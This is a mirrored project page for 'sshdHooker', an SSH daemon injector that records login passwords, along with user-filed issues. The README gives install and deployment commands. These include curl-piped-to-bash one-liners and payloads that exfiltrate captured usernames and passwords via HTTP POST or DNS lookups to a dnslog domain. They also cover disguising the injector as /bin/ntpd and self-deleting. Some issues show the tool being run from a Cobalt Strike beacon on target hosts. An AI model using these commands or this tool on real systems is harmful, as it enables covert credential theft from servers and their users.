Code Monkey home page Code Monkey logo

sshdhooker's Introduction

what's this?

SSHD injector, and then you can record passwords or do other operations.

Need to close selinux

English | 中文文档

how to use

auto installer

anto installer,Only temporarily supports x64/aarch64

Run:

bash install.sh or bash install_aarch64.sh

Login with ssh password after running,The password record address is /tmp/.password.txt. default evil so path is /tmp/hello.so,default injector path is/tmp/.i

Other parameters:

    -s   Manually specify the sshd process id to be injected (usually it will be obtained automatically)
    -e   custom so file path,default is /tmp/.g.so
    -o   custom injector path,default is /bin/ntpd
    -m   change mode,defulat is 0, mode is 0 is to output to the file,output path is /tmp/.password.txt ,mode is 1 is to command execution mode
    -p   change payload,defsult is /tmp/.password.txt,if mode is 1,then use snsprintf to format the command and execute,Make sure the command contains both %s for format username and password
    -d   anto delete,If the value is anyone, any password is captured and deleted.Otherwise, it will be deleted after matching the entered username.
    -l   Specify the libc path. The default addressing is to find libc-xxxx.so and libc.so.x, but it does not rule out that there will be other strange libc names, so the manual specification function is added. For details, please check /proc/pid Find the libc name in /maps

samples

http send password

bash install.sh -p "curl -X POST -d 'username=%s\&password=%s' --connect-timeout 1 -m 1 http://127.0.0.1" -m 1

dns send password and self-delete (Please make sure that your command is not blocked, because the actual use of this program is that the system is an online program, if the command is blocked, it will cause the ssh login program to be blocked)

bash install.sh -p 'ping `echo %s-%s|xxd -ps`.k9lovy.dnslog.cn -c 1' -m 1 -d anyone

Fast remote automatic deployment and self-delete for If any user login succeeds

curl -L https://github.com/9bie/sshdHooker/releases/download/1.0.4/sshdHooker.sh | bash -s -- -d anyone

Fast remote automatic deployment and used by http send password and self-delete for If any user login succeeds (Recommend)

curl -L https://github.com/9bie/sshdHooker/releases/download/1.0.4/sshdHooker.sh | bash -s -- -p "curl -X POST -d 'username=%s\&password=%s' --connect-timeout 1 -m 1 http://127.0.0.1" -m 1 -d anyone

debug

use


gcc -shared inject_got.c -ldl -fPIC -o test2.so -std=c99

mv test2.so /tmp/hello.so

gcc sshdHooker.c shellcode.s -g -o inject -ldl -lpthread

sudo ./inject sshd_pid

todo

  • add x86/arm support
  • bypass SELINUX

sshdhooker's People

Contributors

9bie avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

sshdhooker's Issues

aarch64编译失败

uname -a
Linux ecs-2817 4.18.0-147.5.1.el8_1.aarch64 #1 SMP Tue Feb 4 23:44:08 UTC 2020 aarch64 aarch64 aarch64 GNU/Linux
image

What is this 257? In kernel-2.6.32 will not return 257.

Hello, I hope to get help, I have a problem with the test under centos6.10, kernel 2.6.32

num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
if(num ==257){

What is this 257? In kernel-2.6.32 will not return 257.
How much should be returned in kernel-2.6.32?

`/tmp/.i': Permission denied

target: CloudLinux release 6.10 (Final)
core:2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

beacon> shell ./sshdHooker_x64.sh
[] Tasked beacon to run: ./sshdHooker_x64.sh
[
] Hello,Dog cs.
[+] host called home, sent: 50 bytes
[+] received output:
/bin/sh: ./sshdHooker_x64.sh: Permission denied

beacon> shell /bin/bash ./sshdHooker_x64.sh
[] Tasked beacon to run: /bin/bash ./sshdHooker_x64.sh
[
] Hello,Dog cs.
[+] host called home, sent: 60 bytes
[+] received output:
/tmp/.g.c: In function �update_entry�:
/tmp/.g.c:215: warning: implicit declaration of function �getpagesize�
/tmp/.i.c: In function �ManualGC�:
/tmp/.i.c:367: warning: �return� with a value, in function returning void
/tmp/.i.c:373: warning: assignment makes integer from pointer without a cast
/tmp/.i.c:377: warning: �return� with a value, in function returning void
/tmp/.i.c: In function �Inject_Shellcode�:
/tmp/.i.c:491: warning: assignment makes integer from pointer without a cast
/tmp/.i.c: In function �WaitforLibPAM�:
/tmp/.i.c:560: warning: assignment makes pointer from integer without a cast
/tmp/.i.c: In function �main�:
/tmp/.i.c:621: warning: passing argument 4 of �pthread_create� makes pointer from integer without a cast
/usr/include/pthread.h:225: note: expected �void * __restrict__� but argument is of type �long int�
nohup: failed to run command `/tmp/.i': Permission denied


gcc -shared inject_got.c -ldl -fPIC -o test2.so -std=c99
inject_got.c: In function ‘update_entry’:
inject_got.c:216: warning: implicit declaration of function ‘getpagesize’

gcc sshdHooker.c shellcode.s -g -o inject -ldl -lpthread
sshdHooker.c: In function ‘ManualGC’:
sshdHooker.c:366: warning: ‘return’ with a value, in function returning void
sshdHooker.c:372: warning: assignment makes integer from pointer without a cast
sshdHooker.c:376: warning: ‘return’ with a value, in function returning void
sshdHooker.c: In function ‘Inject_Shellcode’:
sshdHooker.c:490: warning: assignment makes integer from pointer without a cast
sshdHooker.c: In function ‘WaitforLibPAM’:
sshdHooker.c:559: warning: assignment makes pointer from integer without a cast
sshdHooker.c: In function ‘main’:
sshdHooker.c:620: warning: passing argument 4 of ‘pthread_create’ makes pointer from integer without a cast
/usr/include/pthread.h:225: note: expected ‘void * restrict’ but argument is of type ‘long int’

ls
./ ../ inject* inject_got.c shellcode.s sshdHooker.c test2.so*

bash ./inject 1930
./inject: ./inject: cannot execute binary file

在ubuntu上无法抓取密码

是不是clone下来的代码 要做适配性修改,直接运行代码 在/tmp下没有生成密码文件,但是ssh服务可以正常使用

IMAGE 2022-07-28 17:28:27

注入sshd后出现很多僵尸进程

如果服务器在外网被一直爆破 会一直出现sshd 僵尸进程无法释放的问题,导致服务器ps -aux 出现几千个sshd的进程

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.